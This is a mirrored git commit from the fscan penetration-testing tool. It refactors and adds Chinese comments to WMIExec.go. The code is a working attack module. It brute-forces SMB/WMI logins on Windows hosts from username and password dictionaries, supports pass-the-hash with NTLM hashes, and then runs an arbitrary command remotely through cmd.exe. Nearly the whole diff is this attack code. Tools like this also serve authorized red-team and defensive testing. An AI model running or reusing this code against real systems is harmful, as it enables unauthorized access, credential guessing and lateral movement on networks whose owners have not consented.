mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 21:02:44 +08:00
perf: 优化WMIExec.go的代码,添加注释,规范输出
This commit is contained in:
parent
b1883ca707
commit
d860eb63b3
@ -12,13 +12,18 @@ import (
|
|||||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||||
)
|
)
|
||||||
|
|
||||||
var ClientHost string
|
// 全局变量
|
||||||
var flag bool
|
var (
|
||||||
|
ClientHost string // 客户端主机名
|
||||||
|
flag bool // 初始化标志
|
||||||
|
)
|
||||||
|
|
||||||
|
// init 初始化函数
|
||||||
func init() {
|
func init() {
|
||||||
if flag {
|
if flag {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// 获取主机名
|
||||||
clientHost, err := os.Hostname()
|
clientHost, err := os.Hostname()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
@ -27,26 +32,41 @@ func init() {
|
|||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WmiExec 执行WMI远程命令
|
||||||
func WmiExec(info *Config.HostInfo) (tmperr error) {
|
func WmiExec(info *Config.HostInfo) (tmperr error) {
|
||||||
|
// 如果是暴力破解模式则跳过
|
||||||
if Common.IsBrute {
|
if Common.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
|
|
||||||
|
// 遍历用户字典
|
||||||
for _, user := range Common.Userdict["smb"] {
|
for _, user := range Common.Userdict["smb"] {
|
||||||
PASS:
|
PASS:
|
||||||
|
// 遍历密码字典
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
// 替换密码模板中的用户名
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
|
||||||
|
// 尝试WMI连接
|
||||||
flag, err := Wmiexec(info, user, pass, Common.Hash)
|
flag, err := Wmiexec(info, user, pass, Common.Hash)
|
||||||
|
|
||||||
|
// 记录错误日志
|
||||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||||
Common.LogError(errlog)
|
Common.LogError(errlog)
|
||||||
if flag == true {
|
|
||||||
|
if flag {
|
||||||
|
// 成功连接,记录结果
|
||||||
var result string
|
var result string
|
||||||
if Common.Domain != "" {
|
if Common.Domain != "" {
|
||||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
|
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 添加认证信息到结果
|
||||||
if Common.Hash != "" {
|
if Common.Hash != "" {
|
||||||
result += "hash: " + Common.Hash
|
result += "hash: " + Common.Hash
|
||||||
} else {
|
} else {
|
||||||
@ -56,13 +76,17 @@ func WmiExec(info *Config.HostInfo) (tmperr error) {
|
|||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
tmperr = err
|
tmperr = err
|
||||||
|
// 检查错误是否需要终止
|
||||||
if Common.CheckErrs(err) {
|
if Common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
// 检查是否超时
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 如果使用NTLM Hash,则跳过密码循环
|
||||||
if len(Common.Hash) == 32 {
|
if len(Common.Hash) == 32 {
|
||||||
break PASS
|
break PASS
|
||||||
}
|
}
|
||||||
@ -71,13 +95,16 @@ func WmiExec(info *Config.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Wmiexec 包装WMI执行函数
|
||||||
func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
wmiexec.Timeout = int(Common.Timeout)
|
wmiexec.Timeout = int(Common.Timeout)
|
||||||
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
|
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WMIExec 执行WMI远程命令
|
||||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||||
|
// 初始化WMI配置
|
||||||
if cfgIn == nil {
|
if cfgIn == nil {
|
||||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
||||||
if err1 != nil {
|
if err1 != nil {
|
||||||
@ -86,29 +113,41 @@ func WMIExec(target, username, password, hash, domain, command, clientHostname,
|
|||||||
}
|
}
|
||||||
cfgIn = &cfg
|
cfgIn = &cfg
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 创建WMI执行器
|
||||||
execer := wmiexec.NewExecer(cfgIn)
|
execer := wmiexec.NewExecer(cfgIn)
|
||||||
|
|
||||||
|
// 设置目标绑定
|
||||||
err = execer.SetTargetBinding(binding)
|
err = execer.SetTargetBinding(binding)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 进行认证
|
||||||
err = execer.Auth()
|
err = execer.Auth()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
flag = true
|
flag = true
|
||||||
|
|
||||||
|
// 如果有命令则执行
|
||||||
if command != "" {
|
if command != "" {
|
||||||
|
// 使用cmd.exe执行命令
|
||||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
||||||
|
|
||||||
|
// 检查RPC端口
|
||||||
if execer.TargetRPCPort == 0 {
|
if execer.TargetRPCPort == 0 {
|
||||||
err = errors.New("RPC Port is 0, cannot connect")
|
err = errors.New("RPC端口为0,无法连接")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 建立RPC连接
|
||||||
err = execer.RPCConnect()
|
err = execer.RPCConnect()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 执行命令
|
||||||
err = execer.Exec(command)
|
err = execer.Exec(command)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
|
Loading…
Reference in New Issue
Block a user